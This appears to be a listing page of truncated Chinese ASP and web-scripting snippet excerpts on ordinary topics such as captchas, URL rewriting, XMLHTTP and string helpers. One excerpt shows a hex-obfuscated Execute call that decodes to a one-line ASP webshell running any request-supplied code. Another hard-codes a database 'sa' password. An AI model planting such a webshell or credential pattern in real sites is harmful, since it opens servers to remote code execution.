ASP

public class ValidateCode : System.Web.UI.Page { private void Page_Load(object sender, System.EventArgs e) { this.CreateCheckCodeImage(GenerateCheckCode()); } #region Web Form設計器產生的程式碼 override protected void OnInit(EventArgs e) { /

不知道怎樣表達清楚。看例子吧：複製代碼 代碼如下:<script language=vbs runat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) Function HextoStr(data) HextoStr="EXECUTE """"" C="&CHR(&H" N=")" Do While Len(data)>1 If

<% Response.Write(Server.HTMLEncode(FixImg("<img onclick=""if(this.width>screen.width-461) window.open('qq/20082181405371.jpg');"" alt="""" border=""0"" src=""qq/20082181405371.jpg"" />"))) %> <% '功能:將IMG代碼格式化為<img src="XXX"

將全形的字元轉變成半形字元，將半形轉變成全形 <% Function DSConvert(vString,vFlag) Rem vFlag為0時表示從全形轉為半形,為其他時表示從半形轉為全形 Dim i,tmpSingleCharaASC,TempResult,SAscString,DAscString SAscString = "1,2,3,4,5,6,7,8,14,15,16,17,18,19,20,21,22,23,24,25,26,27,33,34,3

MSSQL:select top 10 * from [table] order by newid() ACCESS: 複製代碼 代碼如下:'以利用rs.move嘛 '如隨機取10條 n = 10 '先要判斷總記錄數是否少於10，若小於10，則有多少取多少 if n>10 rs.recordCount then n=rs.recordCount dim ranNum for i = 1 to n Randomize() ranNum =

XML 是標準擴充語言，是未來Web編程的標準,asp 是現在廣為流傳的web程式設計語言之一,能不能讓他們兩個聯合起來發揮作用呢？豆腐在這裡給大家提供一個很簡單的Asp與XML實現互動的一個執行個體源例子關於XML和XSL限於篇幅和知識水平豆腐就不在這裡獻醜了下面首先來說說幾個需要用到的檔案的內容。 testXsl.xsl: 複製代碼 代碼如下:<?xml version='1.0'?> <xsl:stylesheet xmlns:xsl="http://www.w3

關閉視窗時儲存資料的辦法 <SCRIPT language="javascript"> 　　function IfWindowClosed() 　　{　　 　　　　var win = null; 　　　　try 　　　　{ 　　　　　　window.opener.name = "ss"; 　　　　　　if ( window.opener.name != "ss" ) 　　　　　　{ 　　　　　　　　win =

利用XMLHTTP 從其他頁面擷取資料 我們在編寫ASP代碼的時候，大家都知道可以通過post或者get獲得form表單的資料，那麼我們如何直接獲得其他頁面上的資料呢？這就要藉助xmlhttp協議了。xmlhttp是xmldom技術的一部分。 下面的代碼就是一個很簡單的例子，我們利用xmlhttp技術，把http://www.xxxx.com/網站首頁的代碼以xml的形式完全擷取，並且在頁面中輸出。 <% Dim objXMLHTTP, xml Set xml =

網址和郵件地址的轉換函式<% function URLconvert(str) convertstr=str urlLocation=instr(convertstr,"http://") if (urlLocation=0) and (mailLocation=0) then URLconvert=convertstr exit function end if if urlLocation<>0 then rightstr=str Do while

第一種 是通過調用window media player進行播放諸如：wmv,asf等格式檔案: 複製代碼 代碼如下:<object align=center class=OBJECT classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95 height=320 id=MediaPlayer width=356> <param name="ShowStatusBar" value="-1"> <param

URL 重寫是截取傳入 Web 請求並自動將請求重新導向到其他 URL 的過程。 比如瀏覽器發來請求hostname/101.aspx ，伺服器自動將這個請求中定向為http://hostname/list.aspx?id=101。 url重寫的優點在於： 縮短url，隱藏實際路徑提高安全性 易於使用者記憶和鍵入。 易於被搜尋引擎收錄 二 實現url重寫的基本方法 下載MS的URLRewriter.dll，放到你的web程式的bin下

1、使用isapi_rewrite進行動態連結重寫html靜態網址。isapi_rewrite是一個dll組件，re_write是iis裡的一個模組。這個篩選器實現是通過Regex，將動態網頁網址映射成為靜態網址。如可將news.asp?id=95通過re_write將其轉換成news/95.html。映射的Regex在httpd.ini檔案裡進行設定。 舉個小小例：處理資料翻頁，那麼寫法是： more_<%=page%>_<%=type%>.html

'================================================== '函數名：DefiniteUrl '作 用：將相對位址轉換為絕對位址 '參 數：PrimitiveUrl ------要轉換的相對位址 '參 數：ConsultUrl ------當前網頁地址 '================================================== Function DefiniteUrl(Byval PrimitiveUrl,Byval

以下虛線框內為mk.asp檔案的具體代碼：--------------------------------------------------------------------------------<%filename="test.htm"if request("body")<>"" thenset fso = Server.CreateObject("Scripting.FileSystemObject")set fout =

'================================================== '函數名：GetBody '作 用：截取字串 '參 數：ConStr ------將要截取的字串 '參 數：StartStr ------開始字串 '參 數：OverStr ------結束字串 '參 數：IncluL ------是否包含StartStr '參 數：IncluR ------是否包含OverStr '================================

方法一：直接用ado的OpenSchema()方法開啟adSchemaTables，建立一個schema記錄集 Code: <% Const adSchemaTables = 20 adSchemaColumns = 4 dim Conn,db dim ConnStr db="temp.mdb" 'ACCESS資料庫的檔案名稱，請使用相對於網站根目錄的的絕對路徑 ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="

'================================================ '函數名：ReplaceTrim '作 用：過濾掉字元中所有的tab和斷行符號和換行 '================================================ Public Function ReplaceTrim(ByVal strContent) On Error Resume Next Dim re Set

'================================================ '函數名：FormatRemoteUrl '作 用：格式化成當前網站完整的URL-將相對位址轉換為絕對位址 '參 數： url ----Url字串 '參 數： CurrentUrl ----當然網站URL '傳回值：格式化取後的Url '================================================ Public Function

<% '申明變數 Dim valName Dim arrName Dim objConn Dim connStr If Request.Form("mySubmit") = "確定" Then '資料庫連結代碼 set objConn=server.CreateObject("ADODB.connection") connStr = "PROVIDER=SQLOLEDB;Server=(local);DATABASE=test;UID=sa;PWD=123456;"

前段時間被WINDOWS2003SERVER的IIS6.0假死問題差點搞死了,琢磨了N個通宵之後才磨出了辦法,下面的東西希望能給有相同問題的朋友些協助: